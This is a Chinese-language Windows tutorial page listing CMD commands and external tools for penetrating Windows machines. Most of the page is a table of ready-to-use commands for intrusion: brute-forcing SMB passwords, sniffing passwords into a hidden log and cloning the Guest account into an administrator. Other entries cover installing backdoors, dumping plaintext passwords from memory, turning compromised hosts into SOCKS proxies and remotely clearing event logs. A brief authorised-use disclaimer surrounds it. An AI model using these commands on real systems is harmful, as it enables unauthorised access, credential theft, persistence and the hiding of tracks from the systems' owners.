Windows XP Windows 7 Windows 2003 Windows Vista Windows 綜合教學 Linux 系統教學
Windows 10 Windows 8 Windows 2008 Windows NT Windows Server 電腦軟體教學

Windows DOS 攻擊與滲透常用命令詳解(二):FTP、CACLS、DEL、FINGER、ECHO、REGEDIT、端口映射、SUBST、查詢/踢除使用者、訊息發送、外部工具

編輯:Windows XP 系統介紹

前言

承接上篇內部命令,本文續述 Windows 命令列(CMD)進階滲透指令與常用外部小工具,僅供安全研究與防禦參考,嚴禁用於非授權測試。

內部命令補充

11. FTP 傳輸檔案

ftp
open ip port
例:open 192.168.1.1 123
啟動內建 FTP 服務:net start msftppsvc

實務上若取得 FTP 帳密,建議用圖形化客戶端(FileZilla/FlashFXP)操作更直觀。

12. CACLS 查看/修改資料夾權限

cacls 資料夾名稱
參數:F=完全控制、R=唯讀、C=變更、W=寫入、N=無權限

13. DEL 刪除檔案(含強制刪除)

del 檔案名
del 檔案名 /f   (強制刪除唯讀/隱藏/系統檔)

14. FINGER 使用者資訊探測(需對方開 79 埠)

finger -l user@computer
-l:長清單格式顯示

15. ECHO 寫入/附加檔案內容

echo 內容 > 檔案      (覆蓋)
echo 內容 >> 檔案     (附加)

16. REGEDIT 匯入登錄檔

regedit /s 檔案.reg   (/s 靜默匯入)

17. CHGPORT 端口映射

chgport 3=5      (將 COM3 映射為 COM5)
chgport /d *     (刪除所有映射)

18. SUBST 檔案系統映射虛擬磁碟

subst B: C:\Windows   (訪問 B: 即訪問 C:\Windows,高風險)
subst B: /D           (刪除映射)

19. QUERY SESSION 查看當前登入帳號

query session

20. LOGOFF 踢除指定使用者

logoff ID   (ID 為 query session 顯示的會話 ID,非使用者名稱)

21. NET SEND 發送訊息(XP/2003 支援,Vista 後移除)

net send 主機名或IP 訊息內容
例:net send ylinuxs hello!

外部小工具(需另行取得執行檔)

工具功能典型語法/條件
opentelnet遠端開啟 Telnet 服務opentelnet \\ip user pass ntml port
需:無防火牆、IPC$ 開啟
telnet.vbe不依賴 IPC$ 開啟 Telnetcscript telnet.vbe ip user pass ntml port
需:無防火牆
PsList / PsKill查看/結束遠端進程pslist / pskill PID (或 tasklist/taskkill)
fport查看程式對應端口fport (或 netstat -an)
cleanlog.vbe遠端清除事件日誌cscript cleanlog.vbe ip user pass system/application/security -all
優勢:無需 IPC$
reboot.vbe遠端重啟/關機/登出/斷電cscript reboot.vbe ip user pass -r/-s/-I/-p
優勢:無需 IPC$
rinetd / fpipe端口重導向/轉發rinetd -c 設定檔 / fpipe -l 本地埠 -s 轉發埠 -r 目標埠 目標IP
snmputilSNMP 弱口令利用(查帳號/進程/系統資訊)snmputil walk ip community OID
smbcrack暴力破解 SMB 密碼smbcrack ip user 字典路徑 port(139/445)
xsniff小型嗅探器 (TCP/UDP/ICMP)xsniff -pass -hide -log c:\pass.log -TCP -UDP
SFind命令列掃描器 (3389/CGI/FTP/IDQ)sfind -p 3389 ip範圍 / sfind -cgi ip
CA.exe複製帳號提權CA \\ip administrator "" guest 123 (將 Guest 複製為管理員)
BITS / T-CMD後門安裝與連線rundll32 BITS.dll install rasato 特徵碼 / t-cmd -install 後 telnet ip 20540
showpass從記憶體讀取當前登入使用者明文密碼直接執行 showpass (需使用者在線)
SK建立 SOCKS 代理肉雞sk -install / sk -config port 4999 / sk -config starttype 2 / net start skserver
sqlexecaSQL 弱口令利用 (sa 帳號)sqlexeca ip sa 密碼
3389.exe/.vbe/.bat遠端開啟終端服務 (RDP 3389)3389.vbe ip user pass port /r(重啟) 或 /fr(強制重啟)

法律與道德提醒

上述技術僅限於授權滲透測試、學術研究、自身系統防禦驗證。未經書面授權對他人系統進行掃描、入侵、植入後門、竊取資料均屬違法,嚴重者追究刑事責任。請務必遵守《刑法》相關條款與網路安全道德規範。

Copyright © Windows教程網 All Rights Reserved